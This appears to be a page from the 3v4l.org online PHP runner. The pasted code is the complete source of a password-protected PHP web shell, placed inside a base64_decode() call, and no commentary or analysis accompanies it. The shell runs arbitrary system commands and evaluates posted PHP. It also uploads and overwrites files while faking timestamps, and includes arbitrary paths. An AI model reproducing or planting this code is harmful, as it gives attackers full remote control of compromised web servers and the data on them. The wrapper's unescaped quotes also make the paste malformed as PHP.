3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php base64_decode('  @set_time_limit(0);
  @error_reporting(2);
  @set_magic_quotes_runtime(0);
  @ini_set('upload_max_filesize',10485760);
  @ini_set('post_max_size',10485760);
  @ini_set('file_uploads', true);
  @ini_set('display_errors',true);
  @ini_set('register_globals',true);
  @ini_set('register_long_arrays',true);
  @ini_set('max_execution_time',false);
  @ini_set('output_buffering',false);
  @ini_set('allow_url_fopen',true);
  $safemode=@ini_get('safe_mode');

  $magic_quotes=1;
  if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();

  $phpver = str_replace('.','',phpversion());
  if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
  if(intval($phpver) < 410){
    $_POST=&$HTTP_POST_VARS;
    $_GET=&$HTTP_GET_VARS;
    $_SERVER=&$HTTP_SERVER_VARS;
    $_COOKIE=&$HTTP_COOKIE_VARS;
    $_FILES=&$HTTP_POST_FILES;
  }
  @ob_end_clean();

  $pw_pls="<form method=post><input type=text name=pw></form>";

  if (empty($_POST['pw'])) exit($pw_pls);
  if (!empty($_POST['pw']) && md5($_POST['pw'])!='79a248de1b0101cbfb4d1a7a60f6d4a5') exit($pw_pls);

  $pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";

  if (!empty($_POST['usemodule'])) include($_POST['usemodule']);

  $work_dir = getcwd();
  if (strpos($work_dir,"\\")!==false) $work_dir=str_replace("\\","/",$work_dir);
  if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
  else $os="nix";
  if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
  else $cd = $work_dir;

  if (is_dir($cd)) chdir($cd);

  $run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
  $edit=stripslashes($_POST['edit']);
  if (!@is_file($edit)) $edit=$cd;

  if (!empty($_POST['eval'])) eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);

  if (!empty($_FILES['userfile']['tmp_name']) && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
    $uploaddir = ereg_replace('/+', '/', $cd."/");
    $uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
    move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
  }

  if (isset($_POST['save'])) {
	if ($magic_quotes) $console = stripslashes($_POST['console']);
	else $console = $_POST['console'];
    $time = filemtime($edit);
    $f=@fopen($edit,"w");
    if ($f) {
      fwrite($f,$console);
      fclose($f);
      touch($edit,$time);
      $edit=$cd;
    }
  }

  if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
	if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
    $f=@fopen($edit,"r");
    if ($f) {
      if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
      else $retval = "[empty]";
      fclose($f);
    } else {
      $retval = "Can't open file: $edit\n";
    }
  } elseif (!empty($run)) {
    $cmd = $run;
    $retval = magic_execute($cmd);
  } elseif (file_exists($cd) && @is_dir($cd)) {

	if (!$safemode)
	{
		if ($os=='win')
		{

		  $cmd = "dir ".str_replace("/","\\",$cd);
		  $retval = magic_execute($cmd);
		}
	    else
		{
		  $cmd = "ls -la \"$cd\"";
		  $retval = magic_execute($cmd);
		}
	}

    if (empty($retval))
	{
		$dir=$cd;
		if($curdir = @opendir($dir)) {
		while($file = readdir($curdir)) {
		  if($file != '.' && $file != '..') {
			$srcfile = $dir . '/' . $file;
			if(is_file($srcfile)) {
				if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "++ ".$file."\n";
				else $retval .= "-- ".$file."\n";
			} elseif(is_dir($srcfile)) {
				if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "d+ ".$file."\n";
				else $retval .= "d- ".$file."\n";
			}
		  }
		}
		closedir($curdir);
		} else $retval = "Cant open directory\n";
	}


  }

	$id_exec = "cant get uid,gid";

	if ($tmp = magic_execute("id")) $id_exec = $tmp;
	elseif (function_exists('posix_getgid'))
	{
		$uids  = @posix_getlogin();
		$euids = @posix_getlogin();
		$uid   = @posix_getuid();
		$euid  = @posix_geteuid();
		$gid   = @posix_getgid();
		if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
	}

  echo '<HTML><BODY onload="document.getElementById(\'cdfocus\').focus();"><HR>';
  echo date("d.m.Y h:i A")." OS:$os $id_exec safe_mode=$safemode";
  echo "<HR>";
  if (isset($need_save_button)) echo "<FORM method=post>";
  echo '<TEXTAREA id="console" name="console" style="width:100%;height:400px;">';
  if (isset($retval)) echo htmlspecialchars($retval);
  echo '</TEXTAREA>';
  if (isset($need_save_button)) echo "$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><INPUT type='hidden' name='edit' value='".htmlspecialchars($edit)."'><INPUT type=submit name=save value='Save'></FORM>";
  echo "<HR><FORM method=\"POST\">$pw";
  echo "<table><tr><td>dir:</td><td width=\"100%\"><input type=\"text\" style=\"width:100%;\" id=\"cdfocus\" name=\"cd\" value=\"".htmlspecialchars($cd)."\"></td></tr>".
       "<tr><td>run:</td><td><input type=\"text\" style=\"width:100%;\" name=\"run\" value=\"\"></td></tr>".
       "<tr><td>edit:</td><td><input type=\"text\" style=\"width:100%;\" name=\"edit\" value=\"".htmlspecialchars($edit)."\"></td></tr>".
       "</table>".
       "<input type=\"submit\" value=\"OK\"></FORM>";

  echo "<hr><form enctype=\"multipart/form-data\" method=\"post\">$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"15000000\" />upload: <input name=\"userfile\" type=\"file\" /><input type=\"submit\" value=\"upload\" /></form><hr>";
  echo "<form method=post>$pw<textarea style=\"width:100%;height:100px;\"  name='eval' id='eval'>phpinfo();</textarea><input type=submit value='EvalPHP'></form><hr>";
  echo "use module: <form method=post>$pw<input type='text' name='usemodule'>&nbsp;<input type=submit value='use'></form><hr>";
  echo "</BODY></HTML>";

  exit();


  function can_write($file) {if(file_exists($file)){if (is_file($file)) {$f=@fopen($file,"a+");if($f){fclose($f);return true;}}elseif (is_dir($file)) {if ($file[strlen($file)-1]!='/') $file.='/';$tfile = $file."testxxxtest";if (@touch($tfile)){unlink($tfile);return true;}}}return false;}

	function magic_execute($cmd)
	{
		$res=false;
		if (function_exists('exec'))
		{
			@exec($cmd,$res);
			$res = join("\n",$res);
		}
		else
		if (function_exists('shell_exec'))
			$res = @shell_exec($cmd);
		else
		if (function_exists('system'))
		{
			@ob_start();
			@system($cmd);
			$res = @ob_get_contents();
			@ob_end_clean();
		}
		else
		if(function_exists('passthru'))
		{
			@ob_start();
			@passthru($cmd);
			$res = @ob_get_contents();
			@ob_end_clean();
		}
		else
		if (@is_resource($f = @popen($cmd,"r")))
		{
			$res = "";
			while(!@feof($f)) { $res .= @fread($f,1024); }
			@pclose($f);
		}
		return $res;
	}
');?>
Output for 4.3.0 - 7.1.0